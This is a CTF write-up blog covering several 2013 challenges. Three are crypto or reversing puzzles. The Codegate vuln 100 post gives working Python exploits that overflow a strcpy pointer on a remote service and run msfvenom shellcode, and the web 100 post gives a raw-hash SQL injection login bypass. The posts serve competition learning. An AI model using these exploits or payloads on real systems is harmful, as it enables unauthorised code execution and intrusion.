Monday, March 18, 2013

ForbiddenBITS CTF 2013 - smelf 200 - [Team xbios]

For this challenge we got a 64-bit stripped executable. The binary implements a crypter, our aim is to understand the crypter and decrypt the cipher text bytes in the binary. We reversed the binary and rewrote the code in python
0x400657: mov    eax,DWORD PTR [rbp-0x14] ; eax = i
0x40065a: cdqe   
0x40065c: add    rax,QWORD PTR [rbp-0x28] ; rax = i + *argv[1]
0x400660: movzx  eax,BYTE PTR [rax]
0x400663: mov    esi,eax    ; esi = *rax ; current byte
0x400665: mov    eax,DWORD PTR [rbp-0x14]
0x400668: cdqe   
0x40066a: add    rax,0x1       
0x40066e: add    rax,QWORD PTR [rbp-0x28] ; rax = (i+1) + *argv[1]
0x400672: movzx  eax,BYTE PTR [rax]   ; eax = *rax ; fetch the next byte
0x400675: mov    edx,eax    
0x400677: sar    dl,0x7     ; dl = dl/2^7 
0x40067a: shr    dl,0x6     ; dl = dl/2^6 ; this will 0 out register
0x40067d: add    eax,edx     
0x40067f: and    eax,0x3    ; eax = eax & 0x3
0x400682: sub    al,dl       
0x400684: movsx  eax,al     
0x400687: shl    eax,0x3    ; eax = eax * 2^3
0x40068a: mov    edx,DWORD PTR [rbp-0x2c]   
0x40068d: mov    edi,edx    ; edi = 0x12345678
0x40068f: mov    ecx,eax    
0x400691: shr    edi,cl     ; edi = edi/ 2 ^ cl
0x400693: mov    eax,edi    
0x400695: xor    eax,esi    ; eax = eax ^ esi
#!/usr/bin/env python
# crypt.py

import sys

# we should decrypt this string
crypt = [0x4c, 0x10, 0x49, 0x00, 0x24, 0x09, 0x49, 0x36, 0x09, 0x05, 0x1e, 0x26, 0x25, 0x4b, 0x00, 0x74, 0x65, 0x41, 0x00, 0x1e, 0x2a, 0x4b, 0x00, 0x1e, 0x2a, 0x4b, 0x4c, 0x48]

string = sys.argv[1]
key = 0x12345678
cipher = []

for i in range(len(string)-1):
    val = (ord(string[i+1]) & 0x3) * (2**3)
    edi = key / (2 ** val)
    eax = (edi ^ ord(string[i]) ) & 0xff
    cipher.append(hex(eax))

print cipher
We couldn't figure out an exact way to reverse the cipher text though. The algorithm uses (i)th and (i+1)th byte of plain text to calculate the (i)th cipher byte. So we generated a list of possible values for each byte position. Here is the python code:
#!/usr/bin/env python
# sol.py

# we should decrypt this string
crypt = [0x4c, 0x10, 0x49, 0x00, 0x24, 0x09, 0x49, 0x36, 0x09, 0x05, 0x1e, 0x26, 0x25, 0x4b, 0x00, 0x74, 0x65, 0x41, 0x00, 0x1e, 0x2a, 0x4b, 0x00, 0x1e, 0x2a, 0x4b, 0x4c, 0x48]

key = 0x12345678

for i in range(len(crypt)):
    print "#" * 20
    for j in range(32,127):
        pos = []
        for k in range(32,127):
            val = (k & 0x3) * (2**3)
            edi = key / (2 ** val)
            eax = (edi ^ j ) & 0xff
            if eax == crypt[i]:
                pos.append(k)
        if len(pos) > 0:
            print j,pos 
[ctf@renorobert Forbidden]# python sol.py
####################
52 [32, 36, 40, 44, 48, 52, 56, 60, 64, 68, 72, 76, 80, 84, 88, 92, 96, 100, 104, 108, 112, 116, 120, 124]
94 [35, 39, 43, 47, 51, 55, 59, 63, 67, 71, 75, 79, 83, 87, 91, 95, 99, 103, 107, 111, 115, 119, 123]
120 [34, 38, 42, 46, 50, 54, 58, 62, 66, 70, 74, 78, 82, 86, 90, 94, 98, 102, 106, 110, 114, 118, 122, 126]
####################
36 [34, 38, 42, 46, 50, 54, 58, 62, 66, 70, 74, 78, 82, 86, 90, 94, 98, 102, 106, 110, 114, 118, 122, 126]
70 [33, 37, 41, 45, 49, 53, 57, 61, 65, 69, 73, 77, 81, 85, 89, 93, 97, 101, 105, 109, 113, 117, 121, 125]
104 [32, 36, 40, 44, 48, 52, 56, 60, 64, 68, 72, 76, 80, 84, 88, 92, 96, 100, 104, 108, 112, 116, 120, 124]
####################
49 [32, 36, 40, 44, 48, 52, 56, 60, 64, 68, 72, 76, 80, 84, 88, 92, 96, 100, 104, 108, 112, 116, 120, 124]
91 [35, 39, 43, 47, 51, 55, 59, 63, 67, 71, 75, 79, 83, 87, 91, 95, 99, 103, 107, 111, 115, 119, 123]
125 [34, 38, 42, 46, 50, 54, 58, 62, 66, 70, 74, 78, 82, 86, 90, 94, 98, 102, 106, 110, 114, 118, 122, 126]
####################
52 [34, 38, 42, 46, 50, 54, 58, 62, 66, 70, 74, 78, 82, 86, 90, 94, 98, 102, 106, 110, 114, 118, 122, 126]
86 [33, 37, 41, 45, 49, 53, 57, 61, 65, 69, 73, 77, 81, 85, 89, 93, 97, 101, 105, 109, 113, 117, 121, 125]
120 [32, 36, 40, 44, 48, 52, 56, 60, 64, 68, 72, 76, 80, 84, 88, 92, 96, 100, 104, 108, 112, 116, 120, 124
==========================================================================================================
Then we used tree diagram to reach the flag. May not be the best solution but here is the approach:

[*] First element can be 52, 94 or 120
[*] Element 94 doesn't have an equivalent XOR 2nd byte ie. there is no 36,70,104. So 94 can be eleminated
[*] Element 52 maps to [36,104] and 120 maps to [70]. So 2 possible 1st byte values [52,120]
[*] Element 36 and 104 in 2nd byte position doesn't have an equivalent XOR byte ie. no 49,91 or 125. This leaves us with only one option [70], which is child of [120]
[*] Thus we have found the first two bytes as [120,70]

Entending this approach we found upto 26 bytes. Byte 27 was left with two options [52, 120] and byte 28 was left with 3 options [48,124] mapping to previous [52] and [90] mapping to [120]. These two bytes can be easily bruteforced or guessed.

This is wat we got from tree diagram [120 - 70 - 49 - 52 - 54 - 95 - 49 - 36 - 95 - 49 - 102 - 52 - 55 - 51 - 52 - 102 - 51 - 57 - 52 - 102 - 56 - 51 - 52 -102 - 56 - 51] . Final 2 bytes are [ 52 - 48]

Here is the final text we got xF146_1$_1f4734f394f834f8340. So the flag for the challenge is 1f4734f394f834f8340

Wednesday, March 13, 2013

Backdoor CTF - Crypto 400

We have access to the code used for encryption function. With this we have to find the plain text value for the given cipher text:
168 232 100 162 135 179 112 100 173 206 106 123 106 195 179 157 123 173
Encryption function:
for ($i = 0; $i<strlen($str); $i++)
   $dec_array[] = ord($str{$i});
$ar = $dec_array;
$max = max($ar);

$key = rand(10,$max);
$key = 101*$key;

for($i=0;$i<strlen($str);$i++){
    $x = $ar[$i];
    $am = ($key+$x)/2;
    $gm = sqrt($key*$x);
    $enc = $am + $gm;
    $encrypt = floor($enc)%255; 
    echo $encrypt.' ';
}
Bruteforce seemed to be the easiest solution for the problem. Here is the approach
[*] Key value is choosen from rand(10,$max), where $max to range from 32 to 127 ie ascii printables. So we can bruteforce key value between 10 to 127
[*] Choose plain text values between 32 to 127 and perform encryption function upto the length of cipher text
[*] Check if any of key value results in count(plain text) == count(cipher text). In that case, the string we got might be the possible plain text

Here is the code to do that:
<?php

$cipher = array(168, 232, 100 ,162, 135, 179, 112, 100, 173, 206, 106, 123, 106, 195, 179, 157, 123, 173);

for($key=10; $key<=127; $key++){
    $plain = array();
    $key_new = $key * 101;
    for($i=0; $i<count($cipher); $i++){  
        for($p=32; $p<=127; $p++){
            $x = $p;
            $am = ($key_new+$x)/2;
            $gm = sqrt($key_new*$x);
            $enc = $am + $gm;
            $encrypt = floor($enc)%255;
            if($encrypt == $cipher[$i])
                array_push($plain,$p);    
        }
    }
    if(count($plain) == count($cipher)){
        $text = '';
        foreach($plain as $t)
            $text = $text.chr($t);
        echo $text."\n";
    }    
}

?>
[ctf@renorobert backdoor]# php sol.php
, f&." -i!W!Wo.*-i
myalgocantbebroken
Running the code we get two plain texts. The real plain text value is myalgocantbebroken

Monday, March 11, 2013

RuCTF 2013 Quals - Crypto 200 - [Team xbios]

Well, this was not the busiest of weekends but still we didn't have much time for the CTF. Here is a small write up on crypto 200 challenge that we solved. A python source code was given which had the key generation and crypt algorithm. Below is the encryption algorithm
def crypt(open_text, public_key):
    bts = []
    [bts.extend([int(b) for b in '00000000'[len(bin(ord(c))[2:]):] + bin(ord(c))[2:]]) for c in open_text]
    return [sum(map(lambda x: x[0] * x[1] ,zip(blk, public_key))) for blk in [bts[i * 128:(i+1) * 128] for i in range(len(open_text) // 16)]] 
Algorithm performs the following operations:

[*] Creates a 8 bitstring of each character in the plain text
[*] Splits the bitsring into blocks of 128 bits
[*] Pair the bitstring list with the 128 element public key list
[*] sum(map(lambda x: x[0] * x[1] ,zip(blk, public_key))) performs multiplication operation on each tuple pair and then adds them together

We were given a cipher text list with 10 elements ie. from the algorithm we can interpret that the plain text is 160 characters, 16 chars per block. Though we understood the code, we failed to recognize the crypto system until our teammate Aghosh figured out that its knapsack public key cryptosystem. First we looked at cryptanalysis of the system, this didn't work out. Later we figured out that the generated public_key is not random and can be used to retrieve the private key.

Key Generation Algorithm:
def generate_public_key(private_key): 
    n = 199285318978668966527551342512997250816637709274749259983292077699440369
    t = 32416190071
    return list(map(lambda x: (t * x) % n, private_key))
This is what we got when analysing the public_key list:
sage: factor(1050809378719198985041)
32416190071^2
sage: factor(2101618757438397970082)
2 * 32416190071^2
sage: factor(6304856272315193910246)
2 * 3 * 32416190071^2
sage: factor(18914568816945581730738)
2 * 3^2 * 32416190071^2
sage: factor(56743706450836745192214)
2 * 3^3 * 32416190071^2
sage: factor(170231119352510235576642)
2 * 3^4 * 32416190071^2
Looks like the private_key is generated based on the given 't' value. This is how we generated the private_key list
private_key = [t]
for i in range(0,127):
    private_key.append(2 * 3**i * t)
The generated private keys can be verified using the given generate_public_key() function. We got a match. Then we wrote the routine for inverse knapsack sum to get the flag. Here is the final code:
#!/usr/bin/env python

import sys

n = 199285318978668966527551342512997250816637709274749259983292077699440369
t = 32416190071
t_inv = 3607086840002694423309872675805192458275553329397325526691156370525160 #sage: inverse_mod(t,n)

private_key = [t]
for i in range(0,127):
    private_key.append(2 * 3**i * t)

cipher_text = [
  1387977778999926469357780220487630125151962348185941993910077394771302677,
  1192236960845781949613172279312582839292898077268409678421304772227241438,
  1295152741157953792099179799985052248167548374589648818528421499250916999,
  828724787424187908000366458781164595076558885463707900320215679908512646,
  1179926879709109047038661681316962368287877340885819899201698611790531134,
  965171312356484716595815857561729919489896088681139239093293829323154838,
  1099367377207651843612375443021502714028353049437532392256489525051038347,
  1374891605015623267623322424512489936836885983493815443812918444687247914,
  1152880248428103510879661300981452627677389745079857275081612568623556291,
  962409003220820525413536841942678826309419979028794415812582008820263317
       ]

def decrypt(cipher, private_key):   # inverse knapsack
    
    bts = ['0']*128                 # generate bit string
    for i in range(len(private_key) - 1, -1, -1): 
        if cipher >= private_key[i]:
            bts[i] = '1'
            cipher = cipher - private_key[i]

    for j in range(0,128,8):        # generate chars out of every 8-bits
        sys.stdout.write(chr(int(''.join(bts[j:j+8]),2)))

for c in cipher_text:               # iterate through 10 blocks
    decrypt((c * t_inv) % n,private_key)
print ''
Running the code, we got the flag: bf145f32d9637c37de3cb5b470b2c44f8e466bc26e06725ac1517006ab70eac23907a37da8715981c7de813dc03f8104381eadf57d50dc4841d7956fffcd22eefe8ec62e9dea680f78d18352b4bb3ec2

Sunday, March 3, 2013

Codegate 2013 Quals - Vuln 100 [ Failed Attempt ] & Updated Solution

As the title says this is not a working solution for vuln 100 but just a description of my approach to exploit the given x86_64 binary. The service running on port 6666 asks 3 questions, once we successfully answer the quiz it asks for our nickname. Supplying a nickname of 272 bytes will completely overwrite the destination pointer of strcpy() call. After this when strcpy() is called, it tries copying the data passed to it to the overwritten destination pointer. With this we can write anything anywhere in memory. Since strcpy() is used, we cannot have NUL byte in our string.

The idea of exploit was to pass 270 bytes of data, overwrite destination pointer of strcpy() with a stack address thats 264 bytes away from the address where rip is saved. Thus when strcpy is called to copy the same data, it will overwrite the saved rip with the address of strcpy()'s destination pointer. But the issue here is we should know the address in stack where rip is saved for the funtion at 0x400c69.

Though I managed to write an exploit under gdb session where I know the address at which rip is saved, bruteforce of stack address didn't help in the case of remote machine. Below is the POC exploit:
#!/usr/bin/env python

import struct
import socket
import time

host = "192.168.56.110"
#host = "58.229.122.18"
port = 6666

# msfvenom -p linux/x64/exec CMD=/usr/bin/id -a x86_64 -b '\x0a\x00' # 95 bytes
shellcode = ("\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05\xef" +
             "\xff\xff\xff\x48\xbb\xa1\x4a\x74\xe7\x7a\x9b\x43\xfc\x48" +
             "\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xcb\x71\x2c" +
             "\x7e\x32\x20\x6c\x9e\xc8\x24\x5b\x94\x12\x9b\x10\xb4\x28" +
             "\xad\x1c\xca\x19\x9b\x43\xb4\x28\xac\x26\x0f\x76\x9b\x43" +
             "\xfc\x8e\x3f\x07\x95\x55\xf9\x2a\x92\x8e\x23\x10\xe7\x2c" +
             "\xcc\x0b\x75\x47\x45\x71\xe7\x7a\x9b\x43\xfc")

""" 
xor rax,rax
mov al, 0x21                ; move the syscall for dup2 into rax
xor rdi,rdi
mov dil, 0x8                ; move the FD for the socket into rdi
xor rsi, rsi      
inc rsi                     ; stdout
syscall                     ; call dup2(rdi, rsi)
"""
dup2 = "\x48\x31\xc0\xb0\x21\x48\x31\xff\x40\xb7\x08\x48\x31\xf6\x48\xff\xc6\x0f\x05" # 19 bytes

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((host,port))
print soc.recv(1024)

soc.send("arsenal\x0a")
print soc.recv(1024)
time.sleep(0.5)
soc.send("gyeongbokgung\x0a")
print soc.recv(1024)
time.sleep(0.5)
soc.send("psy\x0a")
print soc.recv(1024)
time.sleep(0.5)

soc.send("\x90" * 100 + dup2 + shellcode + "\x90" * 50 + struct.pack("<Q",0x7fffffffdd28 - 264)) # 272 bytes overwrites pointer
print soc.recv(256)
print soc.recv(256)
[ctf@renorobert CodeGate]# python try.py
Welcome to CODEGATE2013.
This is quiz game.
Solve the quiz.



It is Foot Ball Club. This Club is an English Primier league football club. This Club founded 1886. This club Manager Arsene Wenger. This club Stadium is Emirates Stadium. What is this club? (only small letter)

good!1
It is a royal palace locate in northern Seoul, South Korea. First constructed in 1395, laster burned and abandoned for almost three centuries, and then reconstructed in 1867, it was the main and largest place of the Five Grand Palaces built by the joseon Dynasty. What is it?(only small letter)

good!2
He is South Korean singer, songwriter, rapper, dancer and record producer. He is known domestically for his humorous videos and stage performances, and internationally for his hit single Gangnam Style. Who is he?(only small letter)

good!3
rank write! your nickname:

uid=1000(renorobert) gid=1000(renorobert) groups=1000(renorobert),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
This was tested against ubuntu 12.04 x86_64 machine. May be I should have used different approach or tried information leak.
UPDATED SOLUTION:
Finally managed to solve the challenge, though the exploitation technique is not much reliable. This was the idea
[*] Perform a one byte overflow on the destination pointer of strcpy() using bruteforce
[*] If the destination pointer and the address where rip is saved differs only by last byte, strcpy() can end up copying bytes like our previous exploitation technique and jump into shellcode.

Above idea didn't work out but resulted in leaking some stack data
for i in range(1,256):
    soc.send("\x90" * 100 + dup2 + shellcode + "\x90" * 50 + struct.pack("B",i) + "\x00")
strcpy()  
0x400cd5: mov    rdx,QWORD PTR [rbp-0x118]
0x400cdc: mov    rax,QWORD PTR [rbp-0x8]
0x400ce0: mov    rsi,rdx
0x400ce3: mov    rdi,rax
0x400ce6: call   0x400a30 <strcpy@plt>
0x400ceb: mov    rax,QWORD PTR [rbp-0x8]      ; destination pointer moved into rax after call to strcpy()
0x400cef: mov    QWORD PTR [rip+0x2013e2],rax # 0x6020d8
0x400cf6: leave  
0x400cf7: ret

send()
0x401252: mov    rsi,QWORD PTR [rip+0x200e7f] # 0x6020d8 ; buffer address for send()
0x401259: mov    eax,DWORD PTR [rbp-0x8]
0x40125c: mov    ecx,0x0
0x401261: mov    edi,eax
0x401263: call   0x400a20 <send@plt>
Information leak occurs because as we bruteforce the destination pointer with memcpy() overflow, strcpy() will itself overwrite the destination pointer before it being saved to 0x6020d8. Since strcpy adds a NUL termination, this lowers the address of destination pointer before handing it over to send(). Thus send() prints additional data from stack. Here is what I got for i == 0x8f
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\xe1\xff\xff\xff\x7f\x00\x00\x90\n@\x00\x00\x00\x00\x00\xc0\xe6\xff\xff\xff\x7f\x00\x005\xf2\xde\xf7\xff\x7f\x00\x00\x8f\xe0\xff\xff\xff\x7f\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\xc8\xe6\xff\xff\xff\x7f\x00\x00\xc8\xe6\xff\xff\xff\x7f\x00\x00\x8f\xe0\xff\xff\xff\x7f\x00\x00\x90\xe0\xff\xff\xff\x7f\x00\x000\xbcy\xf7\xff\x7f\x00\x00\xc8\xe2\xff\xf7\xff\x7f\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\xeb\x0c@\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xc8\xe6\xff\xff\xff\x7f\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90H1\xc0\xb0!H1\xff@\xb7\x08H1'
We can spot some addresses here: 0x7fffffffe090, 0x7fffffffe1a0, 0x7fffffffe6c0, 0x7fffffffe08f, 0x7fffffffe6c8, 0x7fffffffe2c8. We already have the hint that ASLR is disabled. So we can look at address range starting at 0x7fffffffe000. Performing a bruteforce resulted in code execution at address 0x7fffffffe0a0. This is the final solution:
#!/usr/bin/env python
# sol.py

import struct
import socket
import time

host = "58.229.122.18"
port = 6666

# msfvenom -p linux/x64/exec CMD='/bin/cat key' -a x86_64 -b '\x0a\x00' # 95 bytes

shellcode = ("\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05\xef" +
             "\xff\xff\xff\x48\xbb\xb2\xd7\x14\x82\xd9\x2b\xb4\x70\x48" +
             "\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xd8\xec\x4c" +
             "\x1b\x91\x90\x9b\x12\xdb\xb9\x3b\xf1\xb1\x2b\xe7\x38\x3b" +
             "\x30\x7c\xaf\xba\x2b\xb4\x38\x3b\x31\x46\x6a\xd4\x2b\xb4" +
             "\x70\x9d\xb5\x7d\xec\xf6\x48\xd5\x04\x92\xbc\x71\xfb\xd9" +
             "\x7d\xe3\x38\x3b\x31\x1b\x87\xd9\x2b\xb4\x70")
""" 
xor rax,rax
mov al, 0x21                ; move the syscall for dup2 into rax
xor rdi,rdi
mov dil, 0x4                ; move the FD for the socket into rdi
xor rsi, rsi      
inc rsi                     ; stdout
syscall                     ; call dup2(rdi, rsi)
"""
dup2 = "\x48\x31\xc0\xb0\x21\x48\x31\xff\x40\xb7\x04\x48\x31\xf6\x48\xff\xc6\x0f\x05" # 19 bytes

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((host,port))
soc.recv(1024)

soc.send("arsenal\x0a")
soc.recv(1024)
time.sleep(0.5)
soc.send("gyeongbokgung\x0a")
soc.recv(1024)
time.sleep(0.5)
soc.send("psy\x0a")
soc.recv(1024)
time.sleep(0.5)
soc.send("\x90" * 100 + dup2 + shellcode + "\x90" * 50 + struct.pack("<Q",0x7fffffffe0a0)) # 272 bytes overwrites pointer
soc.recv(1024)
soc.recv(1024)
print soc.recv(256)
[ctf@renorobert CodeGate]# python sol.py
Key is "Very_G00d_St6rt!!_^^"
So the flag for the challenge is Very_G00d_St6rt!!_^^ but the CTF is over :P More reliable exploit would be nice.

Codegate 2013 Quals - Web 100

We were given the source code of this challenge. To get the flag we have to login as 'admin'. Below is the php code:
$flag = "/flag.txt";
$id = $_POST['user_id'];
$ps = $_POST['password'];
mysql_connect("localhost","codegate","codegate");
mysql_select_db("codegate");

$id = mysql_real_escape_string($id);
$ps = mysql_real_escape_string($ps);

$ps = hash("whirlpool",$ps, true);
$result = mysql_query("select * from users where user_id='$id' and user_ps='$ps'");
$row = mysql_fetch_assoc($result);

if (isset($row['user_id'])) {
 if ($row['user_id'] == "admin") {
  echo "hello, admin<br />";
  die(file_get_contents($flag));
 } else {
  die("hello, ".$row['user_id']);
 }
} else {
 msg("login failed..");
}
The issue with code is that hash() function which outputs raw binary data leading to SQL injection.
string hash ( string $algo , string $data [, bool $raw_output = false ] )
raw_input:
When set to TRUE, outputs raw binary data. FALSE outputs lowercase hexits.
To bypass the login, we need to find a value that when hashed with whirlpool results in string containing '='
<?php
for($i=0 ;$i<10000000; $i++)
    if(strpos(hash("whirlpool",$i, true),"'='") !== false)
        echo $i."\n";
?>
[ctf@renorobert CodeGate]# php brute.php 
364383
527980
629987
708365
991410
1311789
1608604
1974557
^C
Logging in with the above passwords results in login bypass. The flag for the challenge is DAER0NG_DAER0NG_APPLE_TR33